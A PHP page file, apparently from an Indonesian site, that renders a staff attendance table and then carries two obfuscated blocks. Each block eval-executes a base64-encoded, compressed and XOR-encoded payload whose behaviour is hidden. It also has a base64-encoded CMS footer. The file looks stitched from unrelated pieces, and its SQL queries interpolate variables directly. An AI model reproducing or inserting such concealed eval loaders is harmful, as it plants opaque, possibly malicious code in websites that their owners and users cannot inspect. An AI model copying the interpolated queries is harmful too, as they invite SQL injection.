<table align="center" border="1" cellpadding="5" cellspacing="0">
<tr>
<th rowspan=2><font size="2" face="Arial">NIK</font></th>
<th rowspan=2><font size="2" face="Arial">Name</font></th>
<?php
date_default_timezone_set('Asia/Jakarta');
$begindate = '2013-03-25';
$enddate = '2013-03-29';
$q= "SELECT DISTINCT tanggal FROM absen WHERE tanggal BETWEEN '$begindate' AND'$enddate' AND DAYOFWEEK(tanggal)NOT IN(1,7)";
$query1 = mysql_query($q) or die(mysql_error());
$count = mysql_num_rows($query1);
while ($fetch = mysql_fetch_row($query1)){
$tanggal = $fetch['0'];
?><th colspan=2><font size="2" face="Arial"><?php echo $tanggal;?></font></th><?php
}?>
<th rowspan=2><font size="2" face="Arial">Total telat</font></th>
</tr>
<tr>
<?php
while ($count>0){
echo '<th><font size="2" face="Arial">Masuk</font></th>';
echo '<th><font size="2" face="Arial">Telat</font></th>';
$count--;
}?>
</tr>
<?php
$cquery = "SELECT nik,fname,lname FROM staff ORDER BY fname ASC";
$result = mysql_query($cquery) or die(mysql_error());
while($row1= mysql_fetch_array($result))
{
$nik = $row1['nik'];
echo "<tr>";
echo "<td><font size='2' face='Arial'>" . $row1['nik'] . "</font></td>";
echo "<td><font size='2' face='Arial'>" . $row1['fname']." ".$row1['lname']. "</font></td>";
$q2 = "SELECT checkin, telat2, checkout,ket,rank FROM absen WHERE nik = '$nik' AND tanggal BETWEEN '$begindate' AND '$enddate' AND DAYOFWEEK(tanggal)NOT IN(1,7) ";
$result1 = mysql_query($q2) or die(mysql_error());
while($row2 = mysql_fetch_row($result1)){
$checkin = $row2['0'];
$telat2 = $row2['1'];
$checkout = $row2['2'];
$ket = $row2['3'];
$rank = $row2['4'];
if (empty($rank) && isset($ket) ){
echo "<td><font size='2' face='Arial'> </font></td>";
echo "<td><font size='2' face='Arial'> </font></td>";}
elseif(($checkout=='00:00:00'&&$checkin=='00:00:00')){
echo "<td><font size='2' face='Arial'> </font></td>";
echo "<td><font size='2' face='Arial'> </font></td>";}
elseif(empty($rank)){}
elseif(empty($ket)&&$rank !== ''){
echo "<td><font size='2' face='Arial'>" . date('H:i', strtotime($row2['0'])) . "</font></td>";
echo "<td><font size='2' face='Arial'>" . $row2['1'] . "</font></td>";}
}}?>
</tr>
</table>
<?php
$o="QAAAOzh3b3cnJycKDSgtJ0FodQAAcmonSnJrc25qYmNuZidCYwAAcmxmdG4ncHBwKSdhaHVqckAEawDwKWh1KW5jJ2RqdCkBTAoNAAEnLSdHZGh3fnVuYG9zDkQApQAGJy9ELic1NzY0J0RKVAaBBKMnAABId2JpJ1RocnVkYisnTmlkAgApJ0ZraycD0nQndWJ0YnVxYiAAYykFc2tuZGJpdGIODkBJUicAEkBiaWJ1ZmsnV3JlAYAnSwHDJwAAcWJ1dG5oaSc1J2h1J2tmcwAAYnU8J3RiYidLTkRCSVRCKRAAc39zBNJGdW4nVXJ0amZpc2gAACdmdW5iZHJ3ckd+amZuaykQAGRoagJCQWZyfWZpJ0YnSmZvAShmaWZpbidhASIpagEERw/vLSgKAAANCg1uaWRrcmNiJyVsaGlhCghuYHJ1E1AoAMBibHRuKRcAJTwKIRANIwPWOiA2IAEQdGJ0C7FYdHNmCAB1cy8uASBuYScvJm50dGJzLwAAI1hUQlRUTkhJXCBzYmpmcAAQYmUgWi4ufAoNDiMBATpqfnQAAHZrWHZyYnV+LyVUQktCRFOAABigQVVISiclKSNDRVhMSENCEBEpJVgC0SdQT0JVQicGgHNydAfRRAAlBtEOI3UEZGFic2RvWGZ1dWY8AH4vBeIB8wOxB4A6JyN1XCBpZmpmijsE0iBaPCPRDgofIFo6A+IDQAzAehGBAEEBACgoYmRvaCcDCE9TU1dYUlRCAcBVWEZAQklTBSAUIA+wYW5rYlhiAV1/bnRzdC8lANEoCDEoA6cA8QXgWgGCjjIVgi4uJxFBE58TkXJ1awLgE4UOIwxBdAHiYmxoa2ZvNQ+0FB8UHSsAYGZzHSBpjvIUdG5jWAFHFOcF8HQFZRUaB2kVkg4jCZA6AGAjaXQ1XCBudG4E6BCiDg5uYS8BAHRyZXRzdS8CoSsnNysnMC4nAAg6Oiclb3Nzdz0oKCUPYw4nIwBEdFRuc2JSdWsnGmBydWsXgA4OB316Ymt0YhFhBK8Eq3QEuATPBMIE2QbZIAikO4cgKQoxArQp0A4fcgeaCjUrJyo2DGMMDwwC+PYClQTiDFcHeQDGKSAoNDEO0AdRIicgEFAfQjq4AAK2JwUBCXA6RmZjam5pd2ZpYmsoDvhmd2tuTwElEgBRd0QxJaIDYSV/JXFtYmkJ8m1maWAlh21zJO84/zjyI6ck72ZpJOA+QwsgOdMOI21tBWQk6m1zLjxbwA44CQkWf986A1AlTwMCEBAlgEX/RfMxZA03aQ0/Ri9GIw0/Mhx18DANNgVVDSppDSAOHGw+kQlGatAAMDonamN95DJJ8A4PNVRTYANxOgJ/O9ENsB0hDiMCdDU6gQ8jUVVRQlVcIEkOKSUlKQKVA2NY51xkHx0gWicGowUFCGQCl1/wc2JpPhACsAwAJzoxVwFzC+01PzN6EBEm7ybhZGhobG5idAwA3W5f4kZwYiGES89Lz2lLz2IBRSbgPxm2BVUZu2LE/w1kCFQ6I2IMH1o8C9EpCQLkD4gBJAKiKKBe8MAAcxU42G10KHNvYmpidChlZnRiB74obmpmYADAAHM5NTxfazxbAp4Yc0FAPfFm5hB5URlgAm9oaQFwAmZmc2Z0AkU4OQoNB4w7ZWhjfgCBk9QIdmpvSVxzewNqaDwn04EEUQRwKASLCg1OcmwxckIlO281OVMD8A07J2Via5mQjOB0mXE7KAGAhEFx0HMpEBQwx78FEQFwc2prCXAFoAmUnW9jnW+dby1UitCeopDinf+db29znW+iAp1vJ51vnW+db51vnW+db51vnW+db5gAnW9uKQ/mnWA4OQ==";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
<?php
$o="QAIAOzh3b3cnABAKDSgtJ0FodXIAAGonSnJrc25qYmNuZidCY3IAAGxmdG4ncHBwKSdhaHVqcmuACADwKWh1KW5jJ2RqdCkBTAoNJwACLSdHZGh3fnVuYG9zDkQApScADC9ELic1NzY0J0RKVAaBBKMnSAAAd2JpJ1RocnVkYisnTmlkKQQAJ0ZraycD0nQndWJ0YnVxYmNAACkFc2tuZGJpdGIODkBJUidAACRiaWJ1ZmsnV3JlAYAnSwHDJ3EAAGJ1dG5oaSc1J2h1J2tmc2IAAHU8J3RiYidLTkRCSVRCKXMgAH9zBNJGdW4nVXJ0amZpc2gnAABmdW5iZHJ3ckd+amZuaylkIABoagJCQWZyfWZpJ0YnSmZvZgJQaWZpbidhASIpagEERw/vLSgKDQERCg1hcmlkcwhxYWhoCDAvLnwFEAAAYmRvaCdlZnRiMTNYY2JkaAACY2IvI1hUQlRUTkhJXCACoyACEFouPCcKDQGIc2JqdwyBdCBaOgAAJWY1MT9hNzU0YTBmY2I+MwAAMDU2PzIyNGFhYzVlMTRmPwICMyU8Cg16B/h0bmNiZWZ1CAIjAABwYmV0Ymxoa2ZvOiBXQElrAABlaVVrZG0zP15pTixXQEJgAABjQEF+XTVRN1dUTWFean9vAABlanRuTkBvfl1QXj5Oam83AABjT0YxS34+NGM0ZHJlVDZrAABdT1F1Xl9Jd0tpY2tebjJ3AABdRD9uV21/d2VQZGBeaj5+AAFdQFF+V1ROcE5uRX1kakoESAIBPzdLak1wAEB0ZTVjfWRAPgEAAABJcWVUP3NdT2NAYkA+bFJBAABeMmNQZHFRT0VKZUFjRV1CACA+flFCbHFWUkFFAEREVEI3cQAAUjdRQUlPXUVlT2R9YlJScQAAZH1CNUpDRnFlQD5pZX4ycAAIZWpkbk5PY3ddT1VoCMB/SVNAQEYNQEF0Y0M3bmMMoEtqN3NdUAAAVTZmNUF9ZlQyNF1QTnJmUEAIVgwAf3FdfkVpY19NNgwAN2ZfAABVdF1TN25TUFFsZlBCYFJABABRcl1AawDAc29lbk5xV21wcQCAXlMzSURtf24VQlRFN15fTWkAAF1fVj5Oaz5uZUBBcmZ+TmAAAGZPTWtdbTduZk9VN2RDaHEmAUs1EwBqdBUPFQROT1V3Y0B/axlAAABWY1BNdGZQc29kNWxgVl9NQCQ3AMBrZURFVl1QMgiAVXcMQHJOgBAdAGZQNmlOT0l+Xn0GiH1Ocl4QAGlGch2AcV00SXBlNFZyXjU+AABzS342U2Q0SVNdQ2NUVENFAABDVFQ+UkptSUJSNWtySU9NcABqAQAXBQCATWFjfj99VDVJV1Y0AABJSVNQcDJlfj59Sm1GcEs0AAZJNl5qNndjRDJpZlBeIIARAj8hqEs1JoY6Cg0gKfAwby8pqC4CICgodCA8YnQ8UVh0c2Z1cy8BQTEYLUEwwCA2negE4Sd6MuAAMEvPZkvPS89NCjowLUvPYG9z/bdLzwSiS89Lz0vPS88nS89Lz0lLz0vPbkvPS89Lz+QAXOIP4UvCODlMIQ==";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
<?php
//include "adminpanel/map.php";
function formulasi(){
$formula="UG93ZXJlZCBieSA8YSBocmVmPSJodHRwOi8vY21zLmZvcm11bGFzaS5vci5pZC8iIHRhcmdldD0iX2JsYW5rIj5Gb3JtdWxhc2kgRnJlZSBPcGVuc291cmNlIENNUzwvYT4gfCA8YSBocmVmPSJodHRwOi8vd3d3LnBhbmppbWVkaWEuY29tL2xheWFuYW4vcHJvZHVrLXdlYnNpdGUtc2Vrb2xhaC1tdXJhaC8iIHRhcmdldD0iX2JsYW5rIj5Ib3N0aW5nIFNla29sYWg8L2E+PC9kaXY+DQoJCQk8ZGl2IGNsYXNzPSJmX2thbmFuIj48YSBocmVmPSJpbmRleC5waHAiPkhvbWU8L2E+IHwgPGEgaHJlZj0iP3A9cHNiIj5Qc2IgT25saW5lPC9hPiB8IDxhIGhyZWY9ImVsZWFybmluZ2t1LyI+RS1sZWFybmluZzwvYT4gPC9kaXY+";
echo base64_decode($formula);
}
/*
<?php
$str = 'Powered by <a href="http://www.google.com/" target="_blank">google</a> | <a href="http://www.google.com" target="_blank">google</a>';
echo base64_encode($str);
$codex=base64_encode($str);
?>
<br>ini<br>
*/
?>